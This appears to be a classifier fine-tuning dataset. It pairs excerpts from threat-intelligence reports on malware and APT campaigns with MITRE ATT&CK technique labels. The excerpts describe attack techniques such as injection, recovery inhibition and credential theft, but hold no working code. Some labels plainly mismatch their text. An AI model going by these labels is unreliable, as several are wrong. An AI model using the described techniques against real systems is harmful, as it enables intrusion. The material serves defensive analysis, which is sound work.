"Linux/Ebury is noteworthy for multiple reasons. Although this is something common under the Windows operating system, it is the first time we’ve seen a malicious library being used on POSIX systems. Linux/Ebury also uses innovative tricks to hook functions, discover the address space of the ELF executable that loaded the library and apply patches to its code at runtime. We believe that before using the external library to hook into OpenSSH processes, the author of Linux/Ebury used a patch to modify the source code of OpenSSH, thereby adding “new functionalities” to the software. The first variants found were modified binaries left on the disk. We have also seen usage of the rpm commands to remove signature from the original OpenSSH packages (openssh-server, openssh-clients) and modify the RPM database to update the file hashes with those of the malicious files. This will make the output of rpm --verify openssh-servers report the files as unmodified. However, the output from rpm -qi openssh-servers will clearly show the package is missing its signatures",['T1553.002 - Code Signing'],fine_tune
The macOS version of the malicious application is a DMG Installer that has a disk image format that Apple commonly uses to distribute software over the internet. The installer looks legitimate and has a valid digital signature from Sectigo (Obtain Capabilities: Digital Certificates [T1588.004]). It has very similar functionality to the Windows version,['T1553.002 - Code Signing'],fine_tune
"Ryuk does not encrypt files from within its own process memory space, but injects into a remote process. Before injecting into a remote process, Ryuk attempts to adjust its token privileges to have the SeDebugPrivilege. It takes no action if the adjustment of the token privileges fails. Before injecting into a remote process, Ryuk also calls CreateToolhelp32Snapshot to enumerate all running processes. If a process is found that is not named csrss.exe, explorer.exe, lsaas.exe, or is running under NT AUTHORITY system account, Ryuk will inject itself into this single process. Ryuk uses a combination of VirtualAlloc, WriteProcessMemory and CreateRemoteThread to inject itself into the remote process",['T1134 - Access Token Manipulation'],fine_tune
"Each user on a Mac can have a LaunchAgents folder in their own Library folder to specify code that should be run every time that user logs in. We can confirm this is the case with Green Lambert by running the implant, then checking the user’s LaunchAgents folder",['T1543.001 - Create or Modify System Process: Launch Agent'],fine_tune
"In this latest discovery by McAfee ATR, despite a short pause in similar operations, the Lazarus group targets crypto currency and financial organizations. Furthermore, we have observed an increased usage of limited data gathering modules to quickly identify targets for further attacks. This campaign is tailored to identifying those who are running Bitcoin related software through specific system scans",['T1057 - Process Discovery'],fine_tune
The malware also contains an embedded .NET wrapper DLL for creating and managing scheduled tasks on Windows systems,"['T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task']",fine_tune
"This variation of the Zebrocy downloader begins by gathering the serial number for the storage volume with the label ""C:\"" and the computer name. The main function gets pertinent strings to communicate with its C2 by calling a sub-function with a specific number that the sub-function uses as a case within a switch statement to decrypt the desired string. The main function then calls the subfunction with the argument 3 to get the POST data parameter (“porg”) along with the volume serial number and computer name and will send this data to the C2 via the HTTP POST request. The Trojan will convert these hexadecimal bytes to their binary values and write them to a file and will run the file using the ""open"" function using the ShellExecuteW API function. Also, the author capitalized the “E” in the “dde” command to evade case sensitive signatures. Lastly, the author bolded the “dd” characters within the “dde” command, which breaks the string up within the XML of the DOCX file (word/document.xml) to make signature development difficult, as seen here",['T1082 - System Information Discovery'],fine_tune
"The malware also loads shellcode in an additional resource, MD5: a4808a329b071a1a37b8d03b1305b0cb, which contains the METALJACK payload. The shellcode performs a system survey to collect the victim's computer name and username and then appends those values to a URL string using libjs.inquirerjs[.]com. It then attempts to call out to the URL",['T1082 - System Information Discovery'],fine_tune
"The spreading technique observed by Anomali researchers is the same one used in previous campaigns. The malware in both previous and ongoing campaign assumes that it has root level access on the machine. Below are code snippets from the current campaign and the campaign reported by Unit 42, where the threat actor uses ssh keys and known hosts if they are available to infect other machines",['T1552.004 - Unsecured Credentials: Private Keys'],fine_tune
"Next, HyperStack uses a custom handshake that is similar to handshakes used for Carbon named-pipe communications. To detect incoming connections from the controller, the HyperStack implant uses the Windows API call ‘ConnectNamedPipe’. When HyperStack receives an incoming connection, it starts a new thread and continues with the custom handshake. If it matches, the HyperStack implant returns the value CACA05ACCE55F11E to the controller",['T1106 - Native API'],fine_tune
The document may also display the fake message “This document is protected” to entice users to enable content and execute malicious code. The .docx file contained embedded x86 and x64 versions of the payload DLL so that the appropriate version was dropped depending on the target operating system,['T1204.002 - User Execution: Malicious File'],fine_tune
"The strings pertaining to the ransomware are encrypted and stored in the .bss section of the binary file. This includes the ransom note along with other important information necessary for the ransomware’s tasks. The strings are decrypted using a key that combined the size and raw address of the .bss section, as well as the ransomware’s compilation timestamp",['T1027 - Obfuscated Files or Information'],fine_tune
"GALLIUM predominantly uses widely available tools. In certain instances, GALLIUM has modified these tools to add additional functionality. However, it’s likely these modifications have been made to subvert antimalware solutions since much of the malware and tooling employed by GALLIUM is historic and is widely detected by security products. For example, QuarkBandit is a modified version of the widely used Gh0st RAT, an openly available remote access tool (RAT). Similarly, GALLIUM has made use of a modified version of the widely available Poison Ivy RAT. These RATs and the China Chopper web shell form the basis of GALLIUM’s toolkit for maintaining access to a victim network",['T1588.002 - Tool'],fine_tune
"For Linux Rabbit to establish a connection with the C2 server, it utilizes Tor hidden services to act as contact points to access a Tor gateway. The malware will randomly select one of the hidden services and then a Tor gateway to follow in order to establish an active C2 URL. The payload for the malware is then sent from the C2 server as an encoded URL parameter",['T1132 - Data Encoding'],fine_tune
"ntlmrelayx.py: This script performs NTLM Relay Attacks, setting an SMB, HTTP, WCF and RAW Server and relaying credentials to many different protocols (SMB, HTTP, MSSQL, LDAP, IMAP, POP3, etc. The script can be used with predefined attacks that can be triggered when a connection is relayed (e.g. In this mode, for every connection relayed, it will be available to be used later on multiple times through a SOCKS proxy. karmaSMB.py: A SMB Server that answers specific file contents regardless of the SMB share and pathname specified. smbserver.py: A Python implementation of an SMB server",['T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay'],fine_tune
"Moreover, USBWorm uses an icon that mimics a Windows directory, tricking the user into executing the malware when trying to access a directory",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"A string, that contains a PDB-path to debug symbols, suggests one such tool was named CredRaptor by the attackers. This tool collects saved passwords from various browsers such as Google Chrome, Internet Explorer, Mozilla Firefox, and Opera",['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
"In the case of a Linux/Ebury backdoor connection, the &lt;version&gt; contains a hexadecimal string of twenty-two (22) characters or more. It embeds an eleven (11) character password that is first encrypted with the client IP address and then encoded as a hexadecimal string; optionally a four (4) byte command may be encrypted and encoded as well after the password",['T1573.001 - Symmetric Cryptography'],fine_tune
"Cisco Talos assesses with moderate confidence that a campaign we recently discovered called ""BlackWater"" is associated with suspected persistent threat actor MuddyWater. The findings outlined in this blog should help threat hunting teams identify MuddyWater's latest TTPs. In this latest activity, the threat actor first added an obfuscated Visual Basic for Applications (VBA) script to establish persistence as a registry key. Next, the script triggered a PowerShell stager, likely in an attempt to masquerade as a red-teaming tool rather than an advanced actor. The stager would then communicate with one actor-controlled server to obtain a component of the FruityC2 agent script, an open-source framework on GitHub, to further enumerate the host machine. This could allow the threat actor to monitor web logs and determine whether someone uninvolved in the campaign made a request to their server in an attempt to investigate the activity. Once the enumeration commands would run, the agent would communicate with a different C2 and send back the data in the URL field",['T1104 - Multi-Stage Channels'],fine_tune
"Most of CARBANAK’s strings are encrypted in order to make analysis more difficult. We have observed that the key and the cipher texts for all the encrypted strings are changed for each sample that we have encountered, even amongst samples with the same compile time. The RC2 key used for the HTTP protocol has also been observed to change among samples with the same compile time. These observations paired with the use of campaign codes that must be configured denote the likely existence of a build tool",['T1573.001 - Symmetric Cryptography'],fine_tune
The wrapper JAR file drops a secondary JAR file and copies it to a %Temp% location. The payload JAR file can be extracted using AES decryption. The first 16 bytes in the file “k” seen in Figure 4 contains the key and the file “e” is the encrypted Java payload,['T1027 - Obfuscated Files or Information'],fine_tune
"29],[30(link is external)] - During the STOLEN PENCIL operation in May 2018, Kimsuky used the GREASE malware. 32(link is external)] Kimsuky also targets Microsoft Office users by formatting their documents in a .docx file rather than .hwp and will tailor their macros accordingly",['T1112 - Modify Registry'],fine_tune
"Gather the names of all services running on the system. Gather a list of the names of all processes running on the endpoint. Gather the list of all files names listed in the Recent Items folder i.e. Appdata%\Microsoft\Windows\Recent"". - Gather all names of files listed in the Desktop folder of the current user. Gather names of all files and programs listed in the Taskbar i.e. Get Microsoft Version Number from the registry, specifically from reg key/value: HKEY_CLASSES_ROOT\Excel.Application\CurVer||Default. The instrumentor script also enables all macros for Office by setting the VBAWarnings registry value to 0x1 at: HKCU\Software\Microsoft\Office\&lt;OfficeVersionNumber&gt;.0\Word\Security\VBAWarnings = 0x1",['T1112 - Modify Registry'],fine_tune
The anti-detection launcher and decompressor make extensive use of Metasploit’s shikata_ga_nai encoder as well as LZNT1 compression,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"Based on the use of the relatively unique PLAINTEE malware, the malware’s use of the same file paths on in each cluster, and the similar targeting, we have grouped these attacks together under the RANCOR campaign moniker. Interestingly, the delivery document borrowed a technique which was publicized in late 2017 as being used by the Sofacy threat actors, embedding the main malicious code in a EXIF metadata property of the document. By doing so, the main content of the macro itself (Figure 2) can be kept relatively simple, and the malicious’ codes small footprint can help enable evasion of automated detection mechanisms based on macro content",['T1204.002 - User Execution: Malicious File'],fine_tune
"The QUADAGENT backdoors dropped onto the hosts were nearly identical to each other, with the only differences being the command and control server (C2) and randomized obfuscation. We were also able to locate a third delivery package of the QUADAGENT backdoor as reported by ClearSky Cyber Security. In their example, the OilRig group used a malicious macro document to deliver the backdoor, which is a tactic much more commonly used by them. A closer examination revealed the obfuscation used by the OilRig group in these QUADAGENT samples were likely the result of using an open-source toolkit called Invoke-Obfuscation. Invoke-Obfuscation has proven to be highly effective at obfuscating PowerShell scripts and in this case, the adversary was able to take advantage of the tool for increased chances of evasion and as an anti-analysis tactic. Based on our telemetry, we have high confidence the email account used to launch this attack was compromised by the OilRig group, likely via credential theft. The file appears to have been compiled using a bat2exe tool, which will take batch files (.bat) and convert them to PE (.exe) files. Its sole purpose here is to install the QUADAGENT backdoor and execute it. The executable will drop the packaged QUADAGENT PowerShell script using the filename Office365DCOMCheck.ps1 in addition to a VBScript file with the same filename which will assist in the execution of it. Once the QUADAGENT payload has executed, it will use rdppath[.]com as the C2, first via HTTPS, then HTTP, then via DNS tunneling, each being used as a corresponding fallback channel if the former fails",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"In their example, the OilRig group used a malicious macro document to deliver the backdoor, which is a tactic much more commonly used by them. A closer examination revealed the obfuscation used by the OilRig group in these QUADAGENT samples were likely the result of using an open-source toolkit called Invoke-Obfuscation. Invoke-Obfuscation has proven to be highly effective at obfuscating PowerShell scripts and in this case, the adversary was able to take advantage of the tool for increased chances of evasion and as an anti-analysis tactic. Based on our telemetry, we have high confidence the email account used to launch this attack was compromised by the OilRig group, likely via credential theft. The file appears to have been compiled using a bat2exe tool, which will take batch files (.bat) and convert them to PE (.exe) files. Its sole purpose here is to install the QUADAGENT backdoor and execute it. The executable will drop the packaged QUADAGENT PowerShell script using the filename Office365DCOMCheck.ps1 in addition to a VBScript file with the same filename which will assist in the execution of it. Once the QUADAGENT payload has executed, it will use rdppath[.]com as the C2, first via HTTPS, then HTTP, then via DNS tunneling, each being used as a corresponding fallback channel if the former fails. The wave against the government entity (June 26) also involved a simple PE file attachment (SHA256: d948d5b3702e140ef5b9247d26797b6dcdfe4fdb6f367bb217bc6b5fc79df520) using the filename tafahom.exe. This PE was slightly different from the other attack, being compiled using the Microsoft .NET Framework instead of being generated via a bat2exe tool and containing a decoy dialog box as shown in Figure 1",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"1) The printer vulnerability MS10-061 exploited by Stuxnet – using a special MOF file, executed on the attacked system using WMI",['T1136.001 - Create Account: Local Account'],fine_tune
"Endpoint Protection . Patchwork cyberespionage group expands targets from governments to wide range of industries . The Patchwork attack group has been targeting more than just government-associated organizations. Symantec Security Response has been actively monitoring Patchwork, also known as Dropping Elephant, which uses Chinese-themed content as bait to compromise its targets’ networks. A customized website with content related to the Chinese military . The malicious sites link to files hosted on different domains, which appear to be solely used for malicious purposes. The PowerPoint files appear to exploit the Microsoft Windows OLE Package Manager Remote Code Execution Vulnerability (CVE-2014-4114), which was used in the Sandworm attacks against American and European targets in October 2014. The rich text files typically attempt to exploit the Microsoft Office Memory Corruption Vulnerability (CVE-2015-1641), which was patched in April 2015. Users should manually remove any potential dropped files which would typically be named “sysvolinfo.exe”. Malicious Word .doc file Besides the .pps file, the threat actor uses rich text files to deliver the malware. While other researchers have reported that these files exploit CVE-2012-0158, Symantec has also observed CVE-2015-1641 being exploited to drop Backdoor.Steladok. As two file types are used to deliver two different payloads, there are likely multiple individuals or groups contributing to the malware development efforts. Mitigation Users should adhere to the following advice to prevent Patchwork’s attacks from succeeding: - Delete any suspicious-looking emails you receive, especially if they contain links or attachments. Spear-phishing emails are frequently used by cyberespionage attackers as a means of luring victims into opening malicious files",['T1566.002 - Phishing: Spearphishing Link'],fine_tune
"The configuration, along with downloaded plugins and all harvested data are stored in a custom database format inside a single file under the %TEMP% directory. The file name is hardcoded and obfuscated with XOR. The storage file is encrypted with AES-256 using a hardcoded key and is decrypted each time the malware needs to read or write it and re-encrypted after new data is added",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"After exfiltrating the files, the threat actor used web shell access on the staging server to delete the staged RAR archives and detach their network shares, likely to avoid detection",['T1070.005 - Indicator Removal on Host: Network Share Connection Removal'],fine_tune
"Targets common cloud applications such as web servers for initial access, using known vulnerabilities (“1-days”) – presumably those with a working exploit in the wild. Uses Windows container escape techniques to escape the container and gain code execution on the underlying node. Connects to its C2 server using the IRC protocol over the Tor network",['T1190 - Exploit Public-Facing Application'],fine_tune
"Intelligence gathering and stealing information has generally been the motivation behind Cicada’s attacks in the past, and that would appear to be the case in this attack campaign too. We observed the attackers archiving some folders of interest in these attacks, including in one organization folders relating to human resources (HR), audit and expense data, and meeting memos",['T1083 - File and Directory Discovery'],fine_tune
The actors behind this campaign gained access to numerous public and private organizations around the world. They gained access to victims via trojanized updates to SolarWind’s Orion IT monitoring and management software,['T1195.002 - Compromise Software Supply Chain'],fine_tune
The macros are also responsible for achieving reboot persistence for the ObliqueRAT payloads. This is done by creating a shortcut (.url file extension) in the infected user's Startup directory. Malicious shortcut in the infected user's startup directory to execute ObliqueRAT on startup,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Shamoon creates the new malicious service MaintenaceSrv. It creates the service with the option Autostart (StartType: 2) and runs the service with its own process (ServiceType: 0x10,['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
"It will then resolve the current process’s PID and path to be used as script arguments, and proceeds to execute the script by running: /bin/sh -c ./update.sh &lt;process_id&gt; &lt;process_path",['T1083 - File and Directory Discovery'],fine_tune
"Talos has uncovered documents that we assess with moderate confidence are associated with suspected persistent threat actor MuddyWater. MuddyWater has been active since at least November 2017 and has been known to primarily target entities in the Middle East. The ""Blackwater.bas"" macro was obfuscated using a substitution cipher whereby the characters are replaced with their corresponding integer. The clear text version of the crf.txt file closely resembled the PowerShell agent that was previously used by the MuddyWater actors when they targeted Kurdish political groups and organizations in Turkey. The screenshot below shows the first few lines of the PowerShell trojan. Notably, a number of the PowerShell commands used to enumerate the host appear to be derived from a GitHub projected called FruityC2. rCecms=BlackWater"". Notably, the trojanized document's macro was also called ""BlackWater,"" and the value ""BlackWater"" was hard coded into the PowerShell script. Most of the PowerShell commands would call Windows Management Instrumentation (WMI) and then query the following information",['T1027 - Obfuscated Files or Information'],fine_tune
"The ‘jli.dll’ file acts as the first layer of the Ecipekac loader. This DLL file has a number of export functions; however, all of them refer to a similar function that carries the main loading feature",['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
Siloscape searches for kubectl.exe by name and the config file using a regular expression. The search function takes an extra argument: a pointer to a vector that holds folder names to exclude from the search,['T1083 - File and Directory Discovery'],fine_tune
We believe the malware authors chose to send packets that look like legitimate DNS requests over UDP port 53 to avoid being blocked by firewalls. It is very common to whitelist DNS requests in firewall configurations because blocking them could disrupt name resolution,['T1071.004 - Application Layer Protocol: DNS'],fine_tune
"At this point in the execution cycle, the FoggyWeb DLL is loaded into one or more application domains where the legitimate AD FS code is running. This means the backdoor code runs alongside the AD FS code with the same access and permissions as the AD FS application. Such access allows the FoggyWeb backdoor to directly interact with the AD FS codebase (that is, not an external disk-resident tool) and selectively invoke native AD FS methods needed to facilitate its malicious operations",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"Filter the target machines: setup.bat first checks if the hostname of the machine is one of the following: PIS-APP, PIS-MOB, WSUSPROXY or PIS-DB. If so, it stops the execution and deletes the folder containing the malicious script from this machine. The use of specific hostnames and internal paths indicates the attacker had prior knowledge of the environment. Extract and run additional tools: update.bat, which was extracted and started by setup.bat, uses the password hackemall to extract the next stages: cache.bat, msrun.bat and bcd.bat. Corrupt the boot: bcd.bat is used in order to harm the boot process. It moves wiper-related files to “C:\temp” and creates a scheduled task named mstask to execute the wiper only once at 23:55:00",['T1490 - Inhibit System Recovery'],fine_tune
"Should a removable drive be discovered, the plugin will seek any files residing on this device based on the plugin’s configured list. In this particular instance, the malware will seek out the following file types",['T1119 - Automated Collection'],fine_tune
"The purpose of this malware is to allow the actors to download and execute an executable file, as well as download and run batch files to run commands on the end system",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Unwraps a DLL into memory and calls its one-and-only import using Reflective DLL injection. DLL information,['T1082 - System Information Discovery'],fine_tune
"The image displayed to the user after mounting the DMG appears to be the “Install” file. In actuality, it is just a system link that points to the 1302.app application bundle, or the malicious application itself. By double-clicking the “Install” image in Figure C, the system actually executes the 1302.app, where 1302.app/Contents/MacOS/1302 is just a bash script",['T1553.001 - Subvert Trust Controls: Gatekeeper Bypass'],fine_tune
"netbook or inexpensive laptop - Raspberry Pi computer - Bash Bunny, a special tool for carrying out USB attacks",['T1200 - Hardware Additions'],fine_tune
"The malware has the ability to regularly take screenshots; what’s more, it takes screenshots when certain “interesting” applications are run, for instance, IM’s. Screenshots are stored in compressed format and are regularly sent to the C&amp;C server – just like the audio recordings",['T1113 - Screen Capture'],fine_tune
"To capture login credentials from all the previously listed websites, Javali monitors processes to find open browsers or custom banking applications. The most common web browsers thus monitored are Mozilla Firefox, Google Chrome, Internet Explorer and Microsoft Edge","['T1057 - Process Discovery', 'T1555.003 - Credentials from Password Stores: Credentials from Web Browsers']",fine_tune
"The information collected is performed using WMI queries: Additionally the malware lists the running process via the Microsoft Windows API. The malware uses obfuscation in order to hide strings such as URL or User-Agent, the algorithm is based on bitwise (SUB 0x0F XOR 0x21), here is the decoded data",['T1057 - Process Discovery'],fine_tune
"This recent campaign used malicious documents to install malware on the targeted system using a template injection attack. This technique allows a weaponized document to download an external Word template containing macros that will be executed. This is a known trick used to bypass static malicious document analysis, as well as detection, as the macros are embedded in the downloaded template",['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
The SUPERNOVA webshell is an anonymous code C# webshell written in .NET C# that is specifically written for usage on SolarWinds Orion servers,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"1) The script uses the function fromCharCode() that returns a string created from a sequence of UTF-16 code units. By using this function, it avoids explicitly writing commands it wants to execute and it hides the actual code it is initiating. In particular, the script uses this function to hide information related to process names. To the best of our knowledge, this method was not used in early versions of the spam campaign. 2) The script uses the function radador(), which returns a randomized integer. In contrast to the first method of obfuscation, this has been used effectively since early versions of the Astaroth Trojan campaign",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"The group has made significant improvements to their arsenal recently and has both developed new tools and modified existing ones. The key observations covered below are based on CrowdStrike® Intelligence analysis of BazarLoader, Conti and Ryuk operations",['T1486 - Data Encrypted for Impact'],fine_tune
"After the last screenshot was created, it uploads all files from the ""store"" folder to the C2 server ""win-restore[.]ru"". Then, it deletes all the files present in the folder and starts a new screenshot creation cycle. It should be noted that there is no check of what files are uploaded. The files are uploaded via POST HTTP method to the script ""vvd.php"". For this, the following HTTP request is used which contains also data from the victim as well the JPEG files",['T1074.001 - Data Staged: Local Data Staging'],fine_tune
"The ransomware terminates some processes and services, some examples of which are related to backup software and data related applications. It is likely that it does this as an attempt to debilitate any efforts the victim may take in performing backup and recovery operations after the ransomware attack",['T1489 - Service Stop'],fine_tune
"The script hides under multiple layers of encryption, obfuscation, and encoding techniques. For this sample, we were able to reveal three layers of code. The top-most layer executes a base64-encoded command",['T1027 - Obfuscated Files or Information'],fine_tune
CrowdStrike also identified a connection between StellarParticle-related campaigns and the abuse of Microsoft Cloud Solution Partners’ O365 tenants. This threat actor abused access to accounts in the Cloud Solution Partner’s environment with legitimate delegated administrative privileges to then gain access to several customers’ O365 environments,['T1199 - Trusted Relationship'],fine_tune
"Malware used by the threat group can be configured to bypass network-based detection; however, the threat actors rarely modify host-based configuration settings when deploying payloads. The threat actors demonstrated the ability to adapt when reentering a network after an eviction, overcoming technical barriers constructed by network defenders",['T1056.001 - Input Capture: Keylogging'],fine_tune
"In one of these campaigns, Waterbug used a USB stealer that scans removable storage devices to identify and collect files of interest. It then packages stolen files into a password-protected RAR archive. The malware then uses WebDAV to upload the RAR archive to a Box account","['T1560.001 - Archive Collected Data: Archive via Utility', 'T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage']",fine_tune
"TA505 sent several similar campaigns in mid-October with VBScript compressed in 7-Zip files that also downloaded either Locky or The Trick. By late October, the actor switched to Microsoft Word attachments that abused Dynamic Data Exchange (DDE) to download either Locky or Locky and The Trick in several more geo-targeted campaigns. This was the first time that we observed TA505 abusing DDE, a legitimate feature in Microsoft Office that became a regular part of multiple threat actors’ toolkits in Q4 2017. Recipients of these emails, which also used simple lures with attached fake invoices, needed to open the Microsoft Word attachments and click through a security dialog (Figure 3) to download the malware",['T1204.001 - Malicious Link'],fine_tune
"WannaCry then proceeds to encrypt files on the system, searching for the following file extensions, which are hard-coded in the binary",['T1083 - File and Directory Discovery'],fine_tune
The document is disguised from the Colombian National Civil Registry and uses Spanish to prompt the victim to enable the macro code in order to execute the subsequent payload,['T1204.002 - User Execution: Malicious File'],fine_tune
"In addition to these malware families, GALLIUM has been observed employing SoftEther VPN software to facilitate access and maintain persistence to a target network. By installing SoftEther on internal systems, GALLIUM is able to connect through that system as though they are on the internal network of the target. SoftEther provides GALLIUM with another means of persistence and flexibility with the added benefit that its traffic may appear to be benign on the target network",['T1133 - External Remote Services'],fine_tune
"The most notable change to this variant of Zebrocy, other than the programming language used, is the way the tool gathers the system information and running processes. Instead of using systeminfo and tasklist commands, the C# variant of Zebrocy uses WMI queries to gather this information",['T1057 - Process Discovery'],fine_tune
"Next, the script executes a command to delete the targeted PC’s volume shadow copies, so victims cannot restore older unencrypted versions of their files",['T1490 - Inhibit System Recovery'],fine_tune
"No exploits were used, so the victim would have to manually execute the malware dropper, which pretends to be an Adobe Flash installer. However, our analysis confirmed that Bad Rabbit uses the EternalRomance exploit as an infection vector to spread within corporate networks. The same exploit was used in the ExPetr",['T1210 - Exploitation of Remote Services'],fine_tune
"We identified that even though the downloaded installation executable was signed using a valid digital signature issued to Piriform, CCleaner was not the only application that came with the download. During the installation of CCleaner 5.33, the 32-bit CCleaner binary that was included also contained a malicious payload that featured a Domain Generation Algorithm (DGA) as well as hardcoded Command and Control (C2) functionality. We confirmed that this malicious version of CCleaner was being hosted directly on CCleaner's download server as recently as September 11, 2017. In reviewing the Version History page on the CCleaner download site, it appears that the affected version (5.33) was released on August 15, 2017. On September 12, 2017 version 5.34 was released. The version containing the malicious payload (5.33) was being distributed between these dates. This version was signed using a valid certificate that was issued to Piriform Ltd by Symantec and is valid through 10/10/2018. Piriform was the company that Avast recently acquired and was the original company who developed the CCleaner software application. This second sample was also signed using a valid digital certificate, however the signing timestamp was approximately 15 minutes after the initial sample was signed. It is also important to note that while previous versions of the CCleaner installer are currently still available on the download server, the version containing the malicious payloads has been removed and is no longer available",['T1195.002 - Compromise Software Supply Chain'],fine_tune
Another new feature in the latest UPPERCUT sample is that the malware sends an error code in the Cookie header if it fails to receive the HTTP response from the command and control (C2) server. The error code is the value returned by the GetLastError function and sent in the next beacon. This was likely included to help the attackers understand the problem if the backdoor is unable to receive a response (Figure 9). This Cookie header is a unique indicator that can be used for network-based detection,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"A Golden Ticket (GT) can be created to impersonate any user (real or imagined) in the domain as a member of any group in the domain (providing a virtually unlimited amount of rights) to any and every resource in the domain. Since the Golden Ticket is an authentication ticket (TGT described below), its scope is the entire domain (and the AD forest by leveraging SID History) since the TGT is used to get service tickets (TGS) used to access resources. The Golden Ticket (TGT) contains user group membership information (PAC) and is signed and encrypted using the domain’s Kerberos service account (KRBTGT) which can only be opened and read by the KRBTGT account",['T1134.005 - Access Token Manipulation: SID-History Injection'],fine_tune
The presence of this credential stealer may partially answer how Kobalos propagates. Anyone using the SSH client of a compromised machine will have their credentials captured. Those credentials can then be used by the attackers to install Kobalos on the newly discovered server later,['T1056 - Input Capture'],fine_tune
"Extracting and dropping an OpenSSH binary from its PE resources - Extracting, dropping, and configuring the RDP Wrapper Library software from its PE resources - Creating a new user “supportaccount” with a password of “Ghar4f5” - Adding this user to the “Remote Desktop Users” and “Administrators” groups",['T1136.001 - Create Account: Local Account'],fine_tune
"Poseidon utilizes a variety of tools. This tool appears to be designed to operate on high-value corporate systems like Domain Controllers or IIS servers that act as repositories of valuable information, particularly for lateral movement. This tool contains several other executable files made in different programming languages ranging from Visual Basic 6 to C#, each one performing a very clear task devised by the group when trying to obtain more information from an objective",['T1003 - OS Credential Dumping'],fine_tune
1) Creating malicious Word documents by injecting a remote template URL 2) Hosting a C2 server to gather credentials entered into authentication dialog boxes displayed when attempting to obtain the remote template,['T1221 - Template Injection'],fine_tune
"As the final reconnaissance step, if the system is domain-joined, BoomBox executes an LDAP query to gather data such as distinguished name, SAM account name, email, and display name of all domain users via the filter (&amp;(objectClass=user)(objectCategory=person","['T1087.003 - Email Account', 'T1087.002 - Account Discovery: Domain Account']",fine_tune
"As has been previously reported, there are two variants of the trojan TinkaOTP. The version that has received the most attention contains the malware payload in the application bundle’s Resources folder. The dot prefix is added in order to make it invisible in the Finder. This payload is then executed via a user LaunchAgent at ~/Library/LaunchAgents/com.aex-loop.agent.plist",['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
"First, the malware goes over the files and directories from the paths_to_wipe config, fills them with zero-bytes instead of their real content, and then deletes them",['T1485 - Data Destruction'],fine_tune
"The most notable change to this variant of Zebrocy, other than the programming language used, is the way the tool gathers the system information and running processes. Instead of using systeminfo and tasklist commands, the C# variant of Zebrocy uses WMI queries to gather this information. The tool runs the following list of WMI queries",['T1047 - Windows Management Instrumentation'],fine_tune
"To ensure that the compromised system is unable to restore from backup, REvil deletes shadow copies and disables recovery mode by executing the following command via ShellExecute",['T1490 - Inhibit System Recovery'],fine_tune
"Operational since April 2019, the group obtained the GandCrab source code from GOLD GARDEN, the operators of GandCrab that voluntarily withdrew their ransomware from underground markets in May 2019. CTU researchers assess with high confidence that GOLD SOUTHFIELD is a former GandCrab affiliate and continues to work with other former GandCrab affiliates. In December 2019, GOLD SOUTHFIELD began operating a name-and-shame style website that uses stolen data from intrusions to generate additional leverage against victims; a tactic known as double extortion. Despite GOLD SOUTHFIELD's infrastructure being taken down by law enforcement in October 2021, the REvil leak site re-emerged in April 2022 with several new victims added. GOLD SOUTHFIELD also began recruiting exclusively via their leak site using the peer-to-peer secure messaging software Tox Chat. GOLD SOUTHFIELD's affiliates distribute ransomware through a variety of means including exploit kits, scan-and-exploit attacks, publicly-accessible RDP, remote management and monitoring (RMM) servers, and backdoored software installers. As of May 2022, the group continues to operate REvil as a name-and-shame scheme and uses a leak site to post victim information and recruit affiliates",['T1195.002 - Compromise Software Supply Chain'],fine_tune
"After all this, if the malware successfully discovers a viable target and is able to gain access through SSH credential brute forcing, the malware will be able to begin installation of the cryptocurrency miner. Linux Rabbit attempts to install both “CNRig” and “CoinHive” Monero miners onto the machine, but only one will actually successfully install depending on what type of architecture the machine is. If the machine is a x86-bit, it will install CNRig Monero miner and if the machine is an ARM/MISP, it will install CoinHive. If the infected machine is a web server, the malware will inject CoinHive script tags into every HTML file, so that even visitors of the site/server are also infected with the cryptocurrency miner. Linux Rabbit is able to connect to GitHub and receive updates from the threat actors. It also has a killswitch built-in. It is able to detect other miners already on a target machine and delete them from the machine during the installation of its own miner",['T1110.003 - Brute Force: Password Spraying'],fine_tune
"Next, a Cobalt Strike binary was dropped on the endpoint as a .dll file and executed by rundll32.exe. With that, the intrusion began spreading laterally via Cobalt Strike. The operators used Windows Management Instrumentation (WMI) in their lateral movement attempt. WMI spawned cmd.exe, which subsequently spawned PowerShell with an encoded command line. This encoded PowerShell creates another Cobalt Strike Beacon. We’ve found that looking for encoded PowerShell is a great way to catch this specific evil and a lot of other evil, too. In this incident, we saw a command line that began with",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"Multiple SUNBURST samples have been recovered, delivering different payloads. In at least one instance the attackers deployed a previously unseen memory-only dropper we’ve dubbed TEARDROP to deploy Cobalt Strike BEACON",['T1105 - Ingress Tool Transfer'],fine_tune
The GetWebpImage() method is in charge of masquerading the output of the C2 commands as a legitimate WebP file (by adding appropriate RIFF/WebP file header magic/fields) and encoding the resulting WebP file,['T1036 - Masquerading'],fine_tune
"How about DPAPI with keys tied per user &amp; system. Volume serial ID keying. See the APT41 talk #FireEyeSummit7:19 PM · Oct 30, 2019·Twitter for Android12 Retweets1 Quote Tweet35 LikesNick Carr@ItsReallyNick",['T1480.001 - Environmental Keying'],fine_tune
